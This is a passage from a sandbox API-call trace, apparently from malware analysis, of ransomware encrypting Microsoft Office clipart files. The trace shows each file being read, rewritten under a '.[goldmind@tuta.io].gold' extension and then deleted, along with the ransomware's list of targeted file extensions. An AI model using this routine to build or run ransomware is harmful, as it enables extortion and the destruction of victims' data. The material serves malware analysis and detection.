office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.143] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.143] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0105.144] GetLastError () returned 0x0 [0105.144] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x305c, lpOverlapped=0x0) returned 1 [0105.417] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3060, lpOverlapped=0x0) returned 1 [0105.418] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.418] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.418] SetEndOfFile (hFile=0x180) returned 1 [0105.418] CloseHandle (hObject=0x180) returned 1 [0105.419] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.419] SetEndOfFile (hFile=0x394) returned 1 [0105.420] CloseHandle (hObject=0x394) returned 1 [0105.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0105.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.576] lstrlenW (lpString=".doc") returned 4 [0105.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.576] lstrlenW (lpString=".docx") returned 5 [0105.576] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.576] lstrlenW (lpString=".pdf") returned 4 [0105.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.576] lstrlenW (lpString=".xls") returned 4 [0105.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.576] lstrlenW (lpString=".xlsx") returned 5 [0105.576] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.576] lstrlenW (lpString=".ppt") returned 4 [0105.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.576] lstrlenW (lpString=".zip") returned 4 [0105.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.576] lstrlenW (lpString=".rar") returned 4 [0105.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.576] lstrlenW (lpString=".bz2") returned 4 [0105.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.576] lstrlenW (lpString=".7z") returned 3 [0105.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.576] lstrlenW (lpString=".dbf") returned 4 [0105.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.576] lstrlenW (lpString=".1cd") returned 4 [0105.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.576] lstrlenW (lpString=".jpg") returned 4 [0105.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.576] lstrlenW (lpString=".doc") returned 4 [0105.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.576] lstrlenW (lpString=".docx") returned 5 [0105.576] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.577] lstrlenW (lpString=".pdf") returned 4 [0105.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.577] lstrlenW (lpString=".xls") returned 4 [0105.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.577] lstrlenW (lpString=".xlsx") returned 5 [0105.577] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.577] lstrlenW (lpString=".ppt") returned 4 [0105.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.577] lstrlenW (lpString=".zip") returned 4 [0105.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.577] lstrlenW (lpString=".rar") returned 4 [0105.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.577] lstrlenW (lpString=".bz2") returned 4 [0105.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.577] lstrlenW (lpString=".7z") returned 3 [0105.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.577] lstrlenW (lpString=".dbf") returned 4 [0105.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.577] lstrlenW (lpString=".1cd") returned 4 [0105.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0105.577] lstrlenW (lpString=".jpg") returned 4 [0105.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.577] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.577] lstrlenW (lpString="J0105410.WMF") returned 12 [0105.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.578] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=20444) returned 1 [0105.578] CloseHandle (hObject=0x230) returned 1 [0105.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 0x20 [0105.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.578] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.578] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.579] GetLastError () returned 0x0 [0105.579] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4fdc, lpOverlapped=0x0) returned 1 [0105.597] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4fe0, lpOverlapped=0x0) returned 1 [0105.598] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.598] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.598] SetEndOfFile (hFile=0x3c4) returned 1 [0105.598] CloseHandle (hObject=0x3c4) returned 1 [0105.598] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.598] SetEndOfFile (hFile=0x230) returned 1 [0105.600] CloseHandle (hObject=0x230) returned 1 [0105.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0105.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.601] lstrlenW (lpString=".doc") returned 4 [0105.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.601] lstrlenW (lpString=".docx") returned 5 [0105.601] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.601] lstrlenW (lpString=".pdf") returned 4 [0105.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.601] lstrlenW (lpString=".xls") returned 4 [0105.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.601] lstrlenW (lpString=".xlsx") returned 5 [0105.601] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.601] lstrlenW (lpString=".ppt") returned 4 [0105.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.601] lstrlenW (lpString=".zip") returned 4 [0105.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.601] lstrlenW (lpString=".rar") returned 4 [0105.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.601] lstrlenW (lpString=".bz2") returned 4 [0105.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.601] lstrlenW (lpString=".7z") returned 3 [0105.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.601] lstrlenW (lpString=".dbf") returned 4 [0105.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.601] lstrlenW (lpString=".1cd") returned 4 [0105.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.601] lstrlenW (lpString=".jpg") returned 4 [0105.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.602] lstrlenW (lpString=".doc") returned 4 [0105.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.602] lstrlenW (lpString=".docx") returned 5 [0105.602] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.602] lstrlenW (lpString=".pdf") returned 4 [0105.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.602] lstrlenW (lpString=".xls") returned 4 [0105.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.602] lstrlenW (lpString=".xlsx") returned 5 [0105.602] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.602] lstrlenW (lpString=".ppt") returned 4 [0105.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.602] lstrlenW (lpString=".zip") returned 4 [0105.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.602] lstrlenW (lpString=".rar") returned 4 [0105.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.602] lstrlenW (lpString=".bz2") returned 4 [0105.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.602] lstrlenW (lpString=".7z") returned 3 [0105.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.602] lstrlenW (lpString=".dbf") returned 4 [0105.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.602] lstrlenW (lpString=".1cd") returned 4 [0105.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0105.602] lstrlenW (lpString=".jpg") returned 4 [0105.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.602] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.602] lstrlenW (lpString="J0105414.WMF") returned 12 [0105.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.603] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6244) returned 1 [0105.603] CloseHandle (hObject=0x230) returned 1 [0105.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 0x20 [0105.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.603] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.603] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.604] GetLastError () returned 0x0 [0105.604] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1864, lpOverlapped=0x0) returned 1 [0105.627] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0105.628] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.628] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.628] SetEndOfFile (hFile=0x3c4) returned 1 [0105.628] CloseHandle (hObject=0x3c4) returned 1 [0105.628] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.628] SetEndOfFile (hFile=0x230) returned 1 [0105.632] CloseHandle (hObject=0x230) returned 1 [0105.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0105.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.633] lstrlenW (lpString=".doc") returned 4 [0105.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.633] lstrlenW (lpString=".docx") returned 5 [0105.633] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0105.633] lstrlenW (lpString=".pdf") returned 4 [0105.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.633] lstrlenW (lpString=".xls") returned 4 [0105.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.633] lstrlenW (lpString=".xlsx") returned 5 [0105.633] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0105.633] lstrlenW (lpString=".ppt") returned 4 [0105.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.633] lstrlenW (lpString=".zip") returned 4 [0105.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.633] lstrlenW (lpString=".rar") returned 4 [0105.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.633] lstrlenW (lpString=".bz2") returned 4 [0105.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.633] lstrlenW (lpString=".7z") returned 3 [0105.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.633] lstrlenW (lpString=".dbf") returned 4 [0105.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.633] lstrlenW (lpString=".1cd") returned 4 [0105.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.633] lstrlenW (lpString=".jpg") returned 4 [0105.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.633] lstrlenW (lpString=".doc") returned 4 [0105.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.633] lstrlenW (lpString=".docx") returned 5 [0105.634] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0105.634] lstrlenW (lpString=".pdf") returned 4 [0105.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.634] lstrlenW (lpString=".xls") returned 4 [0105.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.634] lstrlenW (lpString=".xlsx") returned 5 [0105.634] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0105.634] lstrlenW (lpString=".ppt") returned 4 [0105.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.634] lstrlenW (lpString=".zip") returned 4 [0105.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.634] lstrlenW (lpString=".rar") returned 4 [0105.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.634] lstrlenW (lpString=".bz2") returned 4 [0105.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.634] lstrlenW (lpString=".7z") returned 3 [0105.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.634] lstrlenW (lpString=".dbf") returned 4 [0105.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.634] lstrlenW (lpString=".1cd") returned 4 [0105.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0105.634] lstrlenW (lpString=".jpg") returned 4 [0105.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.634] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.634] lstrlenW (lpString="J0105504.WMF") returned 12 [0105.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.644] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4148) returned 1 [0105.644] CloseHandle (hObject=0x198) returned 1 [0105.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 0x20 [0105.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.648] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.648] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 